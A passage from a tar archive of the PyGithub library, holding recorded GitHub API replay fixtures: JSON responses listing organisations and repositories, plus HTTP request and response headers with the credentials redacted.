house"},{"login":"webhostio","id":1147,"url":"https://api.github.com/orgs/webhostio","repos_url":"https://api.github.com/orgs/webhostio/repos","events_url":"https://api.github.com/orgs/webhostio/events","hooks_url":"https://api.github.com/orgs/webhostio/hooks","issues_url":"https://api.github.com/orgs/webhostio/issues","members_url":"https://api.github.com/orgs/webhostio/members{/member}","public_members_url":"https://api.github.com/orgs/webhostio/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/1147?v=4","description":null},{"login":"animikii","id":1190,"url":"https://api.github.com/orgs/animikii","repos_url":"https://api.github.com/orgs/animikii/repos","events_url":"https://api.github.com/orgs/animikii/events","hooks_url":"https://api.github.com/orgs/animikii/hooks","issues_url":"https://api.github.com/orgs/animikii/issues","members_url":"https://api.github.com/orgs/animikii/members{/member}","public_members_url":"https://api.github.com/orgs/animikii/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/1190?v=4","description":""},{"login":"sauspiel","id":1511,"url":"https://api.github.com/orgs/sauspiel","repos_url":"https://api.github.com/orgs/sauspiel/repos","events_url":"https://api.github.com/orgs/sauspiel/events","hooks_url":"https://api.github.com/orgs/sauspiel/hooks","issues_url":"https://api.github.com/orgs/sauspiel/issues","members_url":"https://api.github.com/orgs/sauspiel/members{/member}","public_members_url":"https://api.github.com/orgs/sauspiel/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/1511?v=4","description":""},{"login":"wherecloud","id":1849,"url":"https://api.github.com/orgs/wherecloud","repos_url":"https://api.github.com/orgs/wherecloud/repos","events_url":"https://api.github.com/orgs/wherecloud/events","hooks_url":"https://api.github.com/orgs/wherecloud/hooks","issues_url":"https://api.github.com/orgs/wherecloud/issues","members_url":"https://api.github.com/orgs/wherecloud/members{/member}","public_members_url":"https://api.github.com/orgs/wherecloud/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/1849?v=4","description":""},{"login":"triveos","id":1928,"url":"https://api.github.com/orgs/triveos","repos_url":"https://api.github.com/orgs/triveos/repos","events_url":"https://api.github.com/orgs/triveos/events","hooks_url":"https://api.github.com/orgs/triveos/hooks","issues_url":"https://api.github.com/orgs/triveos/issues","members_url":"https://api.github.com/orgs/triveos/members{/member}","public_members_url":"https://api.github.com/orgs/triveos/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/1928?v=4","description":null},{"login":"lincolnloop","id":1964,"url":"https://api.github.com/orgs/lincolnloop","repos_url":"https://api.github.com/orgs/lincolnloop/repos","events_url":"https://api.github.com/orgs/lincolnloop/events","hooks_url":"https://api.github.com/orgs/lincolnloop/hooks","issues_url":"https://api.github.com/orgs/lincolnloop/issues","members_url":"https://api.github.com/orgs/lincolnloop/members{/member}","public_members_url":"https://api.github.com/orgs/lincolnloop/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/1964?v=4","description":"Makers of high performance web applications."},{"login":"notch8","id":2084,"url":"https://api.github.com/orgs/notch8","repos_url":"https://api.github.com/orgs/notch8/repos","events_url":"https://api.github.com/orgs/notch8/events","hooks_url":"https://api.github.com/orgs/notch8/hooks","issues_url":"https://api.github.com/orgs/notch8/issues","members_url":"https://api.github.com/orgs/notch8/members{/member}","public_members_url":"https://api.github.com/orgs/notch8/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/2084?v=4","description":""},{"login":"edgecase","id":2309,"url":"https://api.github.com/orgs/edgecase","repos_url":"https://api.github.com/orgs/edgecase/repos","events_url":"https://api.github.com/orgs/edgecase/events","hooks_url":"https://api.github.com/orgs/edgecase/hooks","issues_url":"https://api.github.com/orgs/edgecase/issues","members_url":"https://api.github.com/orgs/edgecase/members{/member}","public_members_url":"https://api.github.com/orgs/edgecase/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/2309?v=4","description":""},{"login":"galaxycats","id":2548,"url":"https://api.github.com/orgs/galaxycats","repos_url":"https://api.github.com/orgs/galaxycats/repos","events_url":"https://api.github.com/orgs/galaxycats/events","hooks_url":"https://api.github.com/orgs/galaxycats/hooks","issues_url":"https://api.github.com/orgs/galaxycats/issues","members_url":"https://api.github.com/orgs/galaxycats/members{/member}","public_members_url":"https://api.github.com/orgs/galaxycats/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/2548?v=4","description":""},{"login":"standout","id":2595,"url":"https://api.github.com/orgs/standout","repos_url":"https://api.github.com/orgs/standout/repos","events_url":"https://api.github.com/orgs/standout/events","hooks_url":"https://api.github.com/orgs/standout/hooks","issues_url":"https://api.github.com/orgs/standout/issues","members_url":"https://api.github.com/orgs/standout/members{/member}","public_members_url":"https://api.github.com/orgs/standout/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/2595?v=4","description":null},{"login":"trabian","id":2705,"url":"https://api.github.com/orgs/trabian","repos_url":"https://api.github.com/orgs/trabian/repos","events_url":"https://api.github.com/orgs/trabian/events","hooks_url":"https://api.github.com/orgs/trabian/hooks","issues_url":"https://api.github.com/orgs/trabian/issues","members_url":"https://api.github.com/orgs/trabian/members{/member}","public_members_url":"https://api.github.com/orgs/trabian/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/2705?v=4","description":""},{"login":"wesabe","id":2842,"url":"https://api.github.com/orgs/wesabe","repos_url":"https://api.github.com/orgs/wesabe/repos","events_url":"https://api.github.com/orgs/wesabe/events","hooks_url":"https://api.github.com/orgs/wesabe/hooks","issues_url":"https://api.github.com/orgs/wesabe/issues","members_url":"https://api.github.com/orgs/wesabe/members{/member}","public_members_url":"https://api.github.com/orgs/wesabe/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/2842?v=4","description":null},{"login":"orgsync","id":2925,"url":"https://api.github.com/orgs/orgsync","repos_url":"https://api.github.com/orgs/orgsync/repos","events_url":"https://api.github.com/orgs/orgsync/events","hooks_url":"https://api.github.com/orgs/orgsync/hooks","issues_url":"https://api.github.com/orgs/orgsync/issues","members_url":"https://api.github.com/orgs/orgsync/members{/member}","public_members_url":"https://api.github.com/orgs/orgsync/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/2925?v=4","description":""},{"login":"UntoThisLast","id":3043,"url":"https://api.github.com/orgs/UntoThisLast","repos_url":"https://api.github.com/orgs/UntoThisLast/repos","events_url":"https://api.github.com/orgs/UntoThisLast/events","hooks_url":"https://api.github.com/orgs/UntoThisLast/hooks","issues_url":"https://api.github.com/orgs/UntoThisLast/issues","members_url":"https://api.github.com/orgs/UntoThisLast/members{/member}","public_members_url":"https://api.github.com/orgs/UntoThisLast/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/3043?v=4","description":null},{"login":"gumgum","id":3286,"url":"https://api.github.com/orgs/gumgum","repos_url":"https://api.github.com/orgs/gumgum/repos","events_url":"https://api.github.com/orgs/gumgum/events","hooks_url":"https://api.github.com/orgs/gumgum/hooks","issues_url":"https://api.github.com/orgs/gumgum/issues","members_url":"https://api.github.com/orgs/gumgum/members{/member}","public_members_url":"https://api.github.com/orgs/gumgum/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/3286?v=4","description":null},{"login":"caring","id":3428,"url":"https://api.github.com/orgs/caring","repos_url":"https://api.github.com/orgs/caring/repos","events_url":"https://api.github.com/orgs/caring/events","hooks_url":"https://api.github.com/orgs/caring/hooks","issues_url":"https://api.github.com/orgs/caring/issues","members_url":"https://api.github.com/orgs/caring/members{/member}","public_members_url":"https://api.github.com/orgs/caring/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/3428?v=4","description":""},{"login":"voceconnect","id":3452,"url":"https://api.github.com/orgs/voceconnect","repos_url":"https://api.github.com/orgs/voceconnect/repos","events_url":"https://api.github.com/orgs/voceconnect/events","hooks_url":"https://api.github.com/orgs/voceconnect/hooks","issues_url":"https://api.github.com/orgs/voceconnect/issues","members_url":"https://api.github.com/orgs/voceconnect/members{/member}","public_members_url":"https://api.github.com/orgs/voceconnect/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/3452?v=4","description":""},{"login":"braintree","id":3453,"url":"https://api.github.com/orgs/braintree","repos_url":"https://api.github.com/orgs/braintree/repos","events_url":"https://api.github.com/orgs/braintree/events","hooks_url":"https://api.github.com/orgs/braintree/hooks","issues_url":"https://api.github.com/orgs/braintree/issues","members_url":"https://api.github.com/orgs/braintree/members{/member}","public_members_url":"https://api.github.com/orgs/braintree/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/3453?v=4","description":""},{"login":"jiva-technology","id":3495,"url":"https://api.github.com/orgs/jiva-technology","repos_url":"https://api.github.com/orgs/jiva-technology/repos","events_url":"https://api.github.com/orgs/jiva-technology/events","hooks_url":"https://api.github.com/orgs/jiva-technology/hooks","issues_url":"https://api.github.com/orgs/jiva-technology/issues","members_url":"https://api.github.com/orgs/jiva-technology/members{/member}","public_members_url":"https://api.github.com/orgs/jiva-technology/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/3495?v=4","description":null},{"login":"insightmethods","id":3518,"url":"https://api.github.com/orgs/insightmethods","repos_url":"https://api.github.com/orgs/insightmethods/repos","events_url":"https://api.github.com/orgs/insightmethods/events","hooks_url":"https://api.github.com/orgs/insightmethods/hooks","issues_url":"https://api.github.com/orgs/insightmethods/issues","members_url":"https://api.github.com/orgs/insightmethods/members{/member}","public_members_url":"https://api.github.com/orgs/insightmethods/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/3518?v=4","description":null},{"login":"squarefactor","id":3686,"url":"https://api.github.com/orgs/squarefactor","repos_url":"https://api.github.com/orgs/squarefactor/repos","events_url":"https://api.github.com/orgs/squarefactor/events","hooks_url":"https://api.github.com/orgs/squarefactor/hooks","issues_url":"https://api.github.com/orgs/squarefactor/issues","members_url":"https://api.github.com/orgs/squarefactor/members{/member}","public_members_url":"https://api.github.com/orgs/squarefactor/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/3686?v=4","description":""},{"login":"intridea","id":3747,"url":"https://api.github.com/orgs/intridea","repos_url":"https://api.github.com/orgs/intridea/repos","events_url":"https://api.github.com/orgs/intridea/events","hooks_url":"https://api.github.com/orgs/intridea/hooks","issues_url":"https://api.github.com/orgs/intridea/issues","members_url":"https://api.github.com/orgs/intridea/members{/member}","public_members_url":"https://api.github.com/orgs/intridea/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/3747?v=4","description":""},{"login":"rarepleasures","id":3883,"url":"https://api.github.com/orgs/rarepleasures","repos_url":"https://api.github.com/orgs/rarepleasures/repos","events_url":"https://api.github.com/orgs/rarepleasures/events","hooks_url":"https://api.github.com/orgs/rarepleasures/hooks","issues_url":"https://api.github.com/orgs/rarepleasures/issues","members_url":"https://api.github.com/orgs/rarepleasures/members{/member}","public_members_url":"https://api.github.com/orgs/rarepleasures/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/3883?v=4","description":null},{"login":"eastmedia","id":4075,"url":"https://api.github.com/orgs/eastmedia","repos_url":"https://api.github.com/orgs/eastmedia/repos","events_url":"https://api.github.com/orgs/eastmedia/events","hooks_url":"https://api.github.com/orgs/eastmedia/hooks","issues_url":"https://api.github.com/orgs/eastmedia/issues","members_url":"https://api.github.com/orgs/eastmedia/members{/member}","public_members_url":"https://api.github.com/orgs/eastmedia/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/4075?v=4","description":null},{"login":"fivesenses","id":4155,"url":"https://api.github.com/orgs/fivesenses","repos_url":"https://api.github.com/orgs/fivesenses/repos","events_url":"https://api.github.com/orgs/fivesenses/events","hooks_url":"https://api.github.com/orgs/fivesenses/hooks","issues_url":"https://api.github.com/orgs/fivesenses/issues","members_url":"https://api.github.com/orgs/fivesenses/members{/member}","public_members_url":"https://api.github.com/orgs/fivesenses/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/4155?v=4","description":null},{"login":"Rouxbe","id":4180,"url":"https://api.github.com/orgs/Rouxbe","repos_url":"https://api.github.com/orgs/Rouxbe/repos","events_url":"https://api.github.com/orgs/Rouxbe/events","hooks_url":"https://api.github.com/orgs/Rouxbe/hooks","issues_url":"https://api.github.com/orgs/Rouxbe/issues","members_url":"https://api.github.com/orgs/Rouxbe/members{/member}","public_members_url":"https://api.github.com/orgs/Rouxbe/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/4180?v=4","description":"Founded in 2005, Rouxbe (\"ROO-bee\") is the world's leading online culinary school. "},{"login":"xilinus","id":4194,"url":"https://api.github.com/orgs/xilinus","repos_url":"https://api.github.com/orgs/xilinus/repos","events_url":"https://api.github.com/orgs/xilinus/events","hooks_url":"https://api.github.com/orgs/xilinus/hooks","issues_url":"https://api.github.com/orgs/xilinus/issues","members_url":"https://api.github.com/orgs/xilinus/members{/member}","public_members_url":"https://api.github.com/orgs/xilinus/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/4194?v=4","description":null}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetRepoFromFullName.txt0000644000175100001660000000304014756101563024652 0ustar00runnerdockerhttps GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4939'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"922c0519f2733063a899619ae95ce892"'), ('date', 'Sun, 20 May 2012 12:33:27 GMT'), ('content-type', 'application/json; charset=utf-8')] {"svn_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-19T10:50:39Z","forks":2,"homepage":"http://vincent-jacques.net/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","open_issues":18,"fork":false,"ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-19T10:50:39Z","size":304,"private":false,"has_downloads":true,"watchers":13,"html_url":"https://github.com/jacquev6/PyGithub","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","permissions":{"pull":true,"admin":true,"push":true},"language":"Python","description":"Python library implementing the full Github API v3","created_at":"2012-02-25T12:53:47Z","id":3544490,"mirror_url":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetRepoFromId.txt0000644000175100001660000000303514756101563023507 0ustar00runnerdockerhttps GET api.github.com None /repositories/3544490 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4939'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"922c0519f2733063a899619ae95ce892"'), ('date', 'Sun, 20 May 2012 12:33:27 GMT'), ('content-type', 'application/json; charset=utf-8')] {"svn_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-19T10:50:39Z","forks":2,"homepage":"http://vincent-jacques.net/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","open_issues":18,"fork":false,"ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-19T10:50:39Z","size":304,"private":false,"has_downloads":true,"watchers":13,"html_url":"https://github.com/jacquev6/PyGithub","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","permissions":{"pull":true,"admin":true,"push":true},"language":"Python","description":"Python library implementing the full Github API v3","created_at":"2012-02-25T12:53:47Z","id":3544490,"mirror_url":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetRepos.txt0000644000175100001660000142732714756101563022610 0ustar00runnerdockerhttps GET api.github.com None /repositories {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('cache-control', 'max-age=0, private, must-revalidate'), ('vary', 'Accept-Encoding'), ('content-length', '404193'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="first"'), ('etag', '"ce99e4ff5256ec5157ddea4a067b40b5"'), ('access-control-allow-credentials', 'true'), ('date', 'Wed, 21 Aug 2013 19:37:39 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377117459')] [{"id":1,"name":"grit","full_name":"mojombo/grit","owner":{"login":"mojombo","id":1,"avatar_url":"https://1.gravatar.com/avatar/25c7c18223fb42a4c6ae1c8db6f50f9b?d=https%3A%2F%2Fidenticons.github.com%2Fc4ca4238a0b923820dcc509a6f75849b.png","gravatar_id":"25c7c18223fb42a4c6ae1c8db6f50f9b","url":"https://api.github.com/users/mojombo","html_url":"https://github.com/mojombo","followers_url":"https://api.github.com/users/mojombo/followers","following_url":"https://api.github.com/users/mojombo/following{/other_user}","gists_url":"https://api.github.com/users/mojombo/gists{/gist_id}","starred_url":"https://api.github.com/users/mojombo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mojombo/subscriptions","organizations_url":"https://api.github.com/users/mojombo/orgs","repos_url":"https://api.github.com/users/mojombo/repos","events_url":"https://api.github.com/users/mojombo/events{/privacy}","received_events_url":"https://api.github.com/users/mojombo/received_events","type":"User"},"private":false,"html_url":"https://github.com/mojombo/grit","description":"Grit gives you object oriented read/write access to Git repositories via Ruby.","fork":false,"url":"https://api.github.com/repos/mojombo/grit","forks_url":"https://api.github.com/repos/mojombo/grit/forks","keys_url":"https://api.github.com/repos/mojombo/grit/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mojombo/grit/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mojombo/grit/teams","hooks_url":"https://api.github.com/repos/mojombo/grit/hooks","issue_events_url":"https://api.github.com/repos/mojombo/grit/issues/events{/number}","events_url":"https://api.github.com/repos/mojombo/grit/events","assignees_url":"https://api.github.com/repos/mojombo/grit/assignees{/user}","branches_url":"https://api.github.com/repos/mojombo/grit/branches{/branch}","tags_url":"https://api.github.com/repos/mojombo/grit/tags","blobs_url":"https://api.github.com/repos/mojombo/grit/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mojombo/grit/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mojombo/grit/git/refs{/sha}","trees_url":"https://api.github.com/repos/mojombo/grit/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mojombo/grit/statuses/{sha}","languages_url":"https://api.github.com/repos/mojombo/grit/languages","stargazers_url":"https://api.github.com/repos/mojombo/grit/stargazers","contributors_url":"https://api.github.com/repos/mojombo/grit/contributors","subscribers_url":"https://api.github.com/repos/mojombo/grit/subscribers","subscription_url":"https://api.github.com/repos/mojombo/grit/subscription","commits_url":"https://api.github.com/repos/mojombo/grit/commits{/sha}","git_commits_url":"https://api.github.com/repos/mojombo/grit/git/commits{/sha}","comments_url":"https://api.github.com/repos/mojombo/grit/comments{/number}","issue_comment_url":"https://api.github.com/repos/mojombo/grit/issues/comments/{number}","contents_url":"https://api.github.com/repos/mojombo/grit/contents/{+path}","compare_url":"https://api.github.com/repos/mojombo/grit/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mojombo/grit/merges","archive_url":"https://api.github.com/repos/mojombo/grit/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mojombo/grit/downloads","issues_url":"https://api.github.com/repos/mojombo/grit/issues{/number}","pulls_url":"https://api.github.com/repos/mojombo/grit/pulls{/number}","milestones_url":"https://api.github.com/repos/mojombo/grit/milestones{/number}","notifications_url":"https://api.github.com/repos/mojombo/grit/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mojombo/grit/labels{/name}"},{"id":26,"name":"merb-core","full_name":"wycats/merb-core","owner":{"login":"wycats","id":4,"avatar_url":"https://2.gravatar.com/avatar/428167a3ec72235ba971162924492609?d=https%3A%2F%2Fidenticons.github.com%2Fa87ff679a2f3e71d9181a67b7542122c.png","gravatar_id":"428167a3ec72235ba971162924492609","url":"https://api.github.com/users/wycats","html_url":"https://github.com/wycats","followers_url":"https://api.github.com/users/wycats/followers","following_url":"https://api.github.com/users/wycats/following{/other_user}","gists_url":"https://api.github.com/users/wycats/gists{/gist_id}","starred_url":"https://api.github.com/users/wycats/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wycats/subscriptions","organizations_url":"https://api.github.com/users/wycats/orgs","repos_url":"https://api.github.com/users/wycats/repos","events_url":"https://api.github.com/users/wycats/events{/privacy}","received_events_url":"https://api.github.com/users/wycats/received_events","type":"User"},"private":false,"html_url":"https://github.com/wycats/merb-core","description":"Merb Core: All you need. None you don't.","fork":false,"url":"https://api.github.com/repos/wycats/merb-core","forks_url":"https://api.github.com/repos/wycats/merb-core/forks","keys_url":"https://api.github.com/repos/wycats/merb-core/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wycats/merb-core/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wycats/merb-core/teams","hooks_url":"https://api.github.com/repos/wycats/merb-core/hooks","issue_events_url":"https://api.github.com/repos/wycats/merb-core/issues/events{/number}","events_url":"https://api.github.com/repos/wycats/merb-core/events","assignees_url":"https://api.github.com/repos/wycats/merb-core/assignees{/user}","branches_url":"https://api.github.com/repos/wycats/merb-core/branches{/branch}","tags_url":"https://api.github.com/repos/wycats/merb-core/tags","blobs_url":"https://api.github.com/repos/wycats/merb-core/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wycats/merb-core/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wycats/merb-core/git/refs{/sha}","trees_url":"https://api.github.com/repos/wycats/merb-core/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wycats/merb-core/statuses/{sha}","languages_url":"https://api.github.com/repos/wycats/merb-core/languages","stargazers_url":"https://api.github.com/repos/wycats/merb-core/stargazers","contributors_url":"https://api.github.com/repos/wycats/merb-core/contributors","subscribers_url":"https://api.github.com/repos/wycats/merb-core/subscribers","subscription_url":"https://api.github.com/repos/wycats/merb-core/subscription","commits_url":"https://api.github.com/repos/wycats/merb-core/commits{/sha}","git_commits_url":"https://api.github.com/repos/wycats/merb-core/git/commits{/sha}","comments_url":"https://api.github.com/repos/wycats/merb-core/comments{/number}","issue_comment_url":"https://api.github.com/repos/wycats/merb-core/issues/comments/{number}","contents_url":"https://api.github.com/repos/wycats/merb-core/contents/{+path}","compare_url":"https://api.github.com/repos/wycats/merb-core/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wycats/merb-core/merges","archive_url":"https://api.github.com/repos/wycats/merb-core/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wycats/merb-core/downloads","issues_url":"https://api.github.com/repos/wycats/merb-core/issues{/number}","pulls_url":"https://api.github.com/repos/wycats/merb-core/pulls{/number}","milestones_url":"https://api.github.com/repos/wycats/merb-core/milestones{/number}","notifications_url":"https://api.github.com/repos/wycats/merb-core/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wycats/merb-core/labels{/name}"},{"id":27,"name":"rubinius","full_name":"rubinius/rubinius","owner":{"login":"rubinius","id":317747,"avatar_url":"https://0.gravatar.com/avatar/8a664b7c5ca834af3e7e49d3a6160082?d=https%3A%2F%2Fidenticons.github.com%2F8a2a02b12e404a00b49c0154892fd9c0.png","gravatar_id":"8a664b7c5ca834af3e7e49d3a6160082","url":"https://api.github.com/users/rubinius","html_url":"https://github.com/rubinius","followers_url":"https://api.github.com/users/rubinius/followers","following_url":"https://api.github.com/users/rubinius/following{/other_user}","gists_url":"https://api.github.com/users/rubinius/gists{/gist_id}","starred_url":"https://api.github.com/users/rubinius/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rubinius/subscriptions","organizations_url":"https://api.github.com/users/rubinius/orgs","repos_url":"https://api.github.com/users/rubinius/repos","events_url":"https://api.github.com/users/rubinius/events{/privacy}","received_events_url":"https://api.github.com/users/rubinius/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/rubinius/rubinius","description":"Rubinius, the Ruby Environment","fork":false,"url":"https://api.github.com/repos/rubinius/rubinius","forks_url":"https://api.github.com/repos/rubinius/rubinius/forks","keys_url":"https://api.github.com/repos/rubinius/rubinius/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rubinius/rubinius/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rubinius/rubinius/teams","hooks_url":"https://api.github.com/repos/rubinius/rubinius/hooks","issue_events_url":"https://api.github.com/repos/rubinius/rubinius/issues/events{/number}","events_url":"https://api.github.com/repos/rubinius/rubinius/events","assignees_url":"https://api.github.com/repos/rubinius/rubinius/assignees{/user}","branches_url":"https://api.github.com/repos/rubinius/rubinius/branches{/branch}","tags_url":"https://api.github.com/repos/rubinius/rubinius/tags","blobs_url":"https://api.github.com/repos/rubinius/rubinius/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rubinius/rubinius/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rubinius/rubinius/git/refs{/sha}","trees_url":"https://api.github.com/repos/rubinius/rubinius/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rubinius/rubinius/statuses/{sha}","languages_url":"https://api.github.com/repos/rubinius/rubinius/languages","stargazers_url":"https://api.github.com/repos/rubinius/rubinius/stargazers","contributors_url":"https://api.github.com/repos/rubinius/rubinius/contributors","subscribers_url":"https://api.github.com/repos/rubinius/rubinius/subscribers","subscription_url":"https://api.github.com/repos/rubinius/rubinius/subscription","commits_url":"https://api.github.com/repos/rubinius/rubinius/commits{/sha}","git_commits_url":"https://api.github.com/repos/rubinius/rubinius/git/commits{/sha}","comments_url":"https://api.github.com/repos/rubinius/rubinius/comments{/number}","issue_comment_url":"https://api.github.com/repos/rubinius/rubinius/issues/comments/{number}","contents_url":"https://api.github.com/repos/rubinius/rubinius/contents/{+path}","compare_url":"https://api.github.com/repos/rubinius/rubinius/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rubinius/rubinius/merges","archive_url":"https://api.github.com/repos/rubinius/rubinius/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rubinius/rubinius/downloads","issues_url":"https://api.github.com/repos/rubinius/rubinius/issues{/number}","pulls_url":"https://api.github.com/repos/rubinius/rubinius/pulls{/number}","milestones_url":"https://api.github.com/repos/rubinius/rubinius/milestones{/number}","notifications_url":"https://api.github.com/repos/rubinius/rubinius/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rubinius/rubinius/labels{/name}"},{"id":28,"name":"god","full_name":"mojombo/god","owner":{"login":"mojombo","id":1,"avatar_url":"https://1.gravatar.com/avatar/25c7c18223fb42a4c6ae1c8db6f50f9b?d=https%3A%2F%2Fidenticons.github.com%2Fc4ca4238a0b923820dcc509a6f75849b.png","gravatar_id":"25c7c18223fb42a4c6ae1c8db6f50f9b","url":"https://api.github.com/users/mojombo","html_url":"https://github.com/mojombo","followers_url":"https://api.github.com/users/mojombo/followers","following_url":"https://api.github.com/users/mojombo/following{/other_user}","gists_url":"https://api.github.com/users/mojombo/gists{/gist_id}","starred_url":"https://api.github.com/users/mojombo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mojombo/subscriptions","organizations_url":"https://api.github.com/users/mojombo/orgs","repos_url":"https://api.github.com/users/mojombo/repos","events_url":"https://api.github.com/users/mojombo/events{/privacy}","received_events_url":"https://api.github.com/users/mojombo/received_events","type":"User"},"private":false,"html_url":"https://github.com/mojombo/god","description":"Ruby process monitor","fork":false,"url":"https://api.github.com/repos/mojombo/god","forks_url":"https://api.github.com/repos/mojombo/god/forks","keys_url":"https://api.github.com/repos/mojombo/god/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mojombo/god/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mojombo/god/teams","hooks_url":"https://api.github.com/repos/mojombo/god/hooks","issue_events_url":"https://api.github.com/repos/mojombo/god/issues/events{/number}","events_url":"https://api.github.com/repos/mojombo/god/events","assignees_url":"https://api.github.com/repos/mojombo/god/assignees{/user}","branches_url":"https://api.github.com/repos/mojombo/god/branches{/branch}","tags_url":"https://api.github.com/repos/mojombo/god/tags","blobs_url":"https://api.github.com/repos/mojombo/god/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mojombo/god/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mojombo/god/git/refs{/sha}","trees_url":"https://api.github.com/repos/mojombo/god/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mojombo/god/statuses/{sha}","languages_url":"https://api.github.com/repos/mojombo/god/languages","stargazers_url":"https://api.github.com/repos/mojombo/god/stargazers","contributors_url":"https://api.github.com/repos/mojombo/god/contributors","subscribers_url":"